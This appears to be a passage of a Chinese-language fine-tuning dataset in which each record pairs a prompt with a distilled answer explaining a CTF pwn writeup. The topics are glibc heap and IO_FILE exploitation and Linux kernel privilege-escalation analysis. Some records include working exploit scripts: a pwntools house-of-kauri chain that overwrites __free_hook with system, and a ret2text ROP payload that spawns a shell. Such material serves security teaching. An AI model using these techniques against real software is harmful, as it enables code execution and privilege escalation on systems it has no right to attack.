"assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-9ad2a8f8d6ef4d26", "original_line": 225, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of cat/强网杯2022houseofcat/WP.md", "split": "train", "split_group_key": "578233bae2b6c983d51c12ff"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of cat/强网杯2022houseofcat/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-8cc37bc95379296cf993", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「1. malloc 失败路径触发隐藏任意 free」。\n资料来源：IO-FILE/2025hgame hit list/WP.md；主题：2025 HGame - Hit list Writeup；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 1. malloc 失败路径触发隐藏任意 free\n\n内容分配函数逻辑如下：\n\n```c\nputs(\"Name: \");\nscanf(\"%8s\", name_buf);\nputs(\"Additional information to consider: \");\nputs(\"Size:\");\nscanf(\"%u\", &size);\n\nif ((int)size > 0x3f0) {\n    puts(\"Too big.\");\n    return 0;\n}\n\nptr = malloc((int)size + 8);\nif (!ptr) {\n    puts(\"Memory allocation failed.\");\n    return gift();\n}\n\nstrncpy(ptr, name_buf, 8);\nread(0, ptr + 8, size);\nreturn ptr;\n```\n\n关键问题是：\n\n1. 输入使用 `%u` 读入无符号整数。\n2. 大小检查使用 signed 语义：`(int)size > 0x3f0`。\n3. `malloc` 参数经过符号扩展后可变成超大值。\n4. `malloc` 失败后会调用隐藏函数 `gift()`。\n\n隐藏函数 `gift()` 只允许触发一次：\n\n```c\nif (!gift_used) {\n    scanf(\"%lx\", &ptr);\n    free(ptr);\n    gift_used++;\n}\n```\n\n所以可以通过传入负数大小得到一次任意地址 `free(ptr)`。\n\nexp 中使用：\n\n```python\nadd(1, b'L0tus', -9, hex(victim).encode() + b'\\n')\n```\n\n`-9` 被 `scanf(\"%u\")` 解析为 `0xfffffff7`，转为 signed 后为 `-9`，检查通过；`size + 8 == -1`，最终 `malloc(-1)` 失败，从而进入 `gift()`，再输入 `victim` 完成任意 free。", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-cc2b4a4c8acbf2b7", "original_line": 175, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/2025hgame hit list/WP.md", "split": "train", "split_group_key": "510c80802c5c6c353196ef42"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/2025hgame hit list/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-8cfe0bd616f9e3f4ff95", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「house of kauri」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### house of kauri\n\n通过修改 `size` 使两次 `free` 的同一块内存进入不同的 `entries` 。\n\n```python\nfrom pwn import *\n\nelf = ELF(\"./pwn\")\nlibc = ELF(\"./libc.so.6\")\ncontext(arch=elf.arch, os=elf.os)\ncontext.log_level = 'debug'\n\np = process([elf.path])\n\ndef add_chunk(index, size):\n    p.sendafter(\"choice:\", \"1\")\n    p.sendafter(\"index:\", str(index))\n    p.sendafter(\"size:\", str(size))\n\ndef delete_chunk(index):\n    p.sendafter(\"choice:\", \"2\")\n    p.sendafter(\"index:\", str(index))\n\ndef edit_chunk(index, content):\n    p.sendafter(\"choice:\", \"3\")\n    p.sendafter(\"index:\", str(index))\n    p.sendafter(\"length:\", str(len(content)))\n    p.sendafter(\"content:\", content)\n\ndef show_chunk(index):\n    p.sendafter(\"choice:\", \"4\")\n    p.sendafter(\"index:\", str(index))\n\nadd_chunk(0, 0x410)\nadd_chunk(1, 0x10)\ndelete_chunk(0)\nadd_chunk(0, 0x410)\nshow_chunk(0)\nlibc.address = u64(p.recvuntil('\\x7F')[-6:].ljust(8, '\\x00')) - 0x3b6be0\ninfo(\"libc base: \" + hex(libc.address))\nadd_chunk(0, 0x18)\nadd_chunk(1, 0x10)\nadd_chunk(10, 0x20)\ndelete_chunk(10)\ndelete_chunk(1)\nedit_chunk(0, 'a' * 0x18 + p64(0x30))\ndelete_chunk(1)\nadd_chunk(0, 0x10)\nedit_chunk(0, p64(libc.sym['__free_hook']))\nadd_chunk(1, 0x20)\nadd_chunk(1, 0x20)\nedit_chunk(1, p64(libc.sym['system']))", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-31326a48f3f87abe", "original_line": 65, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-8dbcead3f54862c3c3d2", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「3. 伪造House of Storm」。\n资料来源：IO-FILE/house of storm/2026ccb catchme/wp.md；主题：2026ccb catchme；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 3. 伪造House of Storm\n- 目标：在 `__free_hook - 0x18` 处伪造fake_chunk。\n- 利用3次edit：\n  - **edit(0)**：修改unsorted chunk的`bk`为 `fake_chunk`\n  - **edit(1)**：修改large chunk的`bk`为 `fake_chunk + 0x8`\n  - **edit(2)**：修改large chunk的`bk_nextsize`为 `fake_chunk - 0x18 - 5`", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-490b18664a5a3040", "original_line": 235, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of storm/2026ccb catchme/wp.md", "split": "train", "split_group_key": "59c73050f60dc7a2444c3b7f"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of storm/2026ccb catchme/wp.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-8e0cb05326ff38957973", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「结论」。\n资料来源：Kernel/2026d3ctf-d3kheap2pro/ROOT_ANALYSIS.md；主题：d3kheap2pro root 提权可行性分析；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 结论\n\n`d3kheap2pro.ko` 的漏洞是真实且可触达的：slot refcount 初始化错误 + free 后不清空指针，稳定形成 dangling pointer / double-free。\n\n但这道 `pro` 变体不能直接套公开 `D3CTF2025_d3kheap2` 的 `msg_msg -> pipe_buffer -> cred overwrite` 利用链。原因是本地内核额外开启了 `CONFIG_MEMCG=y`、`CONFIG_SLAB_BUCKETS=y`、`CONFIG_RANDOM_KMALLOC_CACHES=y`，导致公开题解依赖的 kmalloc-cg-2k 精准 reclaim / msg 到 pipe 迁移不稳定。\n\n当前状态：\n\n- root 提权 **理论上仍可能**，方向应是 page-level cross-cache / Dirty PageTable 一类技术；\n- 公开 d3kheap2 exploit 已移植为 `exp.c`，但在 pro 配置下未形成稳定 root；\n- `xcache_probe.c` 已确认释放整 slab 后页面会回 buddy，并且 second-free + fresh alloc 能触发非规范 freelist 指针崩溃，说明 page-level overlap/allocator metadata 污染已经出现；\n- 尚未证明可控 PTE corruption、kernel R/W 或 cred overwrite。", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-9ca7342b9655a38d", "original_line": 373, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/ROOT_ANALYSIS.md", "split": "train", "split_group_key": "4f4730adc8ab5a373a40a258"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/ROOT_ANALYSIS.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-8eaf597cadf6fb725629", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「msgget」。\n资料来源：Kernel/2022ciscn-cactus/wp.md；主题：CISCN 2022 西南赛区半决赛 cactus WP；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### msgget\n\n```c\nint msgget(key_t key, int msgflag);\n```\n\n| 参数 | 含义 |\n| --- | --- |\n| `key` | `ftok()` 的返回值或 `IPC_PRIVATE`。若为 `IPC_PRIVATE`，则直接创建新的消息队列。 |\n| `msgflag` | `IPC_CREAT` 创建新队列；`IPC_EXCL` 与 `IPC_CREAT` 配合使用，队列已存在时返回错误；`IPC_NOWAIT` 表示读写条件不满足时不阻塞。通常需要配合权限位，如 `0666 | IPC_CREAT`。 |\n\n调用成功返回消息队列标识符，失败返回 `-1`。创建新消息队列时，内核会创建一个 `msg_queue` 结构体，并将它作为 `msg_msg` 双向循环链表的起始节点。\n\n后续如果进程调用 `msgsnd()` 写消息队列，需要写权限；调用 `msgrcv()` 读消息队列，需要读权限。这些权限由 `msgget()` 的第二个参数控制。", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-49377e76a72496e0", "original_line": 340, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/wp.md", "split": "train", "split_group_key": "965eb079ac1d2a6539e8dac3"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/wp.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-8f013efef380bb355802", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「保护信息」。\n资料来源：Heap/off-by-one/2024ylb-null/WP.md；主题：2024ylb-null Writeup；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 保护信息\n\n```text\nArch:       amd64-64-little\nRELRO:      Full RELRO\nStack:      Canary found\nNX:         NX enabled\nPIE:        PIE enabled\nStripped:   No\n```\n\nFull RELRO 不能改 GOT，NX 开启后走 libc 劫持更直接。本题利用堆上的 one-null-byte overflow 制造 overlap，泄露 libc 后污染 tcache，将 `__free_hook` 改成 `system`，最后 `free(\"/bin/sh\")` getshell。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-e3b8a6b23530546a", "original_line": 121, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/off-by-one/2024ylb-null/WP.md", "split": "train", "split_group_key": "d6b6a0a5a29a7b1892b4d993"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/off-by-one/2024ylb-null/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-8f7f20193834b5428919", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「hidden backdoor」。\n资料来源：Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md；主题：CISCN2024 华南赛区 my_heap Writeup；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### hidden backdoor\n\n隐藏选项 5 的逻辑：\n\n```c\nprintf(\"magic address: %p\\n\", win);\nprintf(\"edit data:\");\nread(0, ptr, 0x10);\n```\n\n调用条件：\n\n```asm\ncmp dword ptr [pie + 0x4010], 1\n```\n\n调用后 `pie + 0x4010` 会减 1，所以默认只能用一次。\n\n它会泄露 `win` 函数地址，进而得到 PIE base：\n\n```python\npie = leaked_win - 0x12be\n```\n\n`win` 函数内容：\n\n```asm\n0x12be: endbr64\n0x12c2: push rbp\n0x12c3: mov rbp, rsp\n0x12c6: lea rax, [rip + \"/bin/sh\"]\n0x12cd: mov rdi, rax\n0x12d0: call system@plt\n```\n\nexp 最后跳到 `pie + 0x12c6`，直接执行 `system(\"/bin/sh\")`。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-61fce475bc9cbf2d", "original_line": 136, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md", "split": "train", "split_group_key": "29400e37059a22e96fca7e93"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-90931aa69dafa46d7b1e", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「关键结构体」。\n资料来源：Kernel/2022ciscn-cactus/wp.md；主题：CISCN 2022 西南赛区半决赛 cactus WP；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 关键结构体\n\n`pipe_buffer` 定义在 `include/linux/pipe_fs_i.h` 中：\n\n```c\nstruct pipe_buffer {\n    struct page *page;\n    unsigned int offset, len;\n    const struct pipe_buf_operations *ops;\n    unsigned int flags;\n    unsigned long private;\n};\n```\n\n结构体大小为 `0x30`。", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-feb3611690773fd3", "original_line": 351, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/wp.md", "split": "train", "split_group_key": "965eb079ac1d2a6539e8dac3"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/wp.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-9222eba828710ba1049c", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「程序结构」。\n资料来源：IO-FILE/2025hgame hit list/WP.md；主题：2025 HGame - Hit list Writeup；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 程序结构\n\n程序维护一个单向链表，链表头、尾和计数位于 `.bss` 附近：\n\n```text\n0x4050 : list_head\n0x4058 : list_tail\n0x4060 : count\n0x4064 : gift_used\n```\n\n每个 note 节点大小为 `0x20`，结构大致如下：\n\n```c\nstruct note {\n    uint32_t index;       // 程序自动编号，用于 show/edit/delete 查找\n    char pad[4];\n    struct note *next;    // +0x08\n    uint32_t identity;    // +0x10，用户输入\n    char pad2[4];\n    char *info;           // +0x18，指向单独 malloc 出来的内容块\n};\n```\n\n新增 note 时会先分配 `0x20` 大小的节点，再调用内容分配函数读取 name、size、content：\n\n```c\nnode = malloc(0x20);\nnode->index = count;\nnode->identity = input_identity;\nnode->info = alloc_info();\n```\n\n`show` 会打印：\n\n```text\nIndex: %u\nIdentity Card Number: %u\nName:\nputs(node->info)\nInformation:\nputs(node->info + 8)\n```\n\n因此如果 `info` 指向的堆块内部残留 libc/heap 指针，`show` 可以泄露地址。\n\n---", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-44dda8f68f9ed589", "original_line": 166, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/2025hgame hit list/WP.md", "split": "train", "split_group_key": "510c80802c5c6c353196ef42"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/2025hgame hit list/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-92ca3ca2fc024d7193f6", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「第二阶段：任意 free + tcache poisoning」。\n资料来源：IO-FILE/2025hgame hit list/WP.md；主题：2025 HGame - Hit list Writeup；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 第二阶段：任意 free + tcache poisoning\n\n```python\nvictim = heap_base + 0x1190 + 0x10\nfake_fd = ((heap_base + 0x1000) >> 12) ^ (_IO_list_all + 0x70)\n```\n\n通过隐藏 `gift()` 完成：\n\n```text\nfree(victim)\n```\n\n再覆盖其 tcache fd 为 encoded `_IO_list_all + 0x70`。", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-a8f8878c56a12b90", "original_line": 169, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/2025hgame hit list/WP.md", "split": "train", "split_group_key": "510c80802c5c6c353196ef42"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/2025hgame hit list/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-92e32cf313f0480cb82e", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「菜单封装」。\n资料来源：IO-FILE/2025hgame hit list/WP.md；主题：2025 HGame - Hit list Writeup；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 菜单封装\n\n```python\ndef add(identity, name, size, content=b'')\ndef delete(index)\ndef edit(index, identity, name, size, content=b'')\ndef show(index) -> bytes\n```\n\n注意：`identity` 是用户输入的身份证号字段；真正用于链表查找的是程序自动维护的 `index`。", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-c16f80cfa239cebd", "original_line": 173, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/2025hgame hit list/WP.md", "split": "train", "split_group_key": "510c80802c5c6c353196ef42"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/2025hgame hit list/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-92fb4387819abd6f3240", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「2. dele/show/edit 没有索引检查」。\n资料来源：IO-FILE/house of apple2/2024pcb babyheap/WP.md；主题：2024PCB babyheap WP；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 2. dele/show/edit 没有索引检查\n\n`dele`、`show`、`edit` 都用 `%d` 读入有符号整数，但是没有检查 `idx` 是否为负数，大致逻辑如下：\n\n```c\nscanf(\"%d\", &idx);\nif (book[idx].ptr) {\n    ...\n}\n```\n\n由于 `book[idx]` 的寻址为：\n\n```text\nbook + idx * 0x10\n```\n\n传入负数时就可以访问 `book` 前面的全局变量。", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-e4a62519ffc4707a", "original_line": 198, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024pcb babyheap/WP.md", "split": "train", "split_group_key": "fe49aac94cc72bab9c75b731"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024pcb babyheap/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-9333eca3fa1919983dda", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「Unlink」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## Unlink\n\nUnlink 即脱离链接，是堆中的一个基本操作，用于将一个双向链表中的空闲结点取出来。\n\n我们在利用 unlink 所造成的漏洞时，其实就是对 chunk 进行内存布局，然后借助 unlink 操作来达成修改指针的效果。\n\n我们先来简单回顾一下 unlink 的目的与过程，其目的是把一个双向链表中的空闲块拿出来。\n\n其基本的过程如下：\n\n[图片: image]\n\n下面我们首先介绍一下 unlink 最初没有防护时的利用方法，然后介绍目前利用 unlink 的方式。\n\n[图片: image]", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-63c869f3c4dcd068", "original_line": 80, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-93c154596b6e33f236f7", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/ret2text/code_shell/exp_cli.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/ret2text/code_shell/exp_cli.py`\n\n分类：stack\n\n语言：python\n\n环境/依赖线索：\n- `from pwncli import *`\n\n利用主题关键词：\n- stack/rop\n\n关键常量/偏移样例：\n`0x400541`, `0x0000000000400416`, `0x00000000004005e3`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\nsh=0x400541\nsys=elf.plt.system\noff=0x18\nrdi=0x00000000004005e3\nret=0x0000000000400416\npayload=off*b'a'+p64(rdi)+p64(sh)+p64(ret)+p64(sys)\nsa(\"it?\\n\",payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-b145e85335fc0c32", "original_line": 558, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2text/code_shell/exp_cli.py", "split": "train", "split_group_key": "da321cd510fb9a560ac1ae4b"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2text/code_shell/exp_cli.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-94abbcabc6b436481f5c", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「Direct predecessor: D3CTF2025 d3kheap2」。\n资料来源：Kernel/2026d3ctf-d3kheap2pro/WEB_REFERENCE_NOTES.md；主题：Internet reference notes for d3kheap2pro；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## Direct predecessor: D3CTF2025 d3kheap2\n\nReference: `arttnba3/D3CTF2025_d3kheap2` and the author writeup.\n\nKey route:\n\n1. Private `kmem_cache` object has refcount/double-free.\n2. Free private-cache slab pages back to buddy.\n3. Reclaim with `msg_msg/msg_msgseg`.\n4. Detect overlapping `msg_msg`.\n5. Shift overlap to `pipe_buffer`.\n6. Leak `pipe_buffer::page` / `pipe_buffer::ops`.\n7. Use pipe-buffer page pointer rewriting for kernel arbitrary read/write.\n8. Locate current task/cred and zero uid/gid.\n\nLocal adaptation is in `exp.c`.", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-25c28d30978990ca", "original_line": 376, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/WEB_REFERENCE_NOTES.md", "split": "train", "split_group_key": "3142a1c55fbb73a0f35ddf74"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/WEB_REFERENCE_NOTES.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-9522e9e98cd72fc37e82", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「栈迁移到数据填充段」。\n资料来源：stack.md；主题：栈利用；分类：stack。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 栈迁移到数据填充段\n\n[图片: image]\n\n> hgame 2023 orw\n\n+ exp\n\n```plain\nfrom pwn import 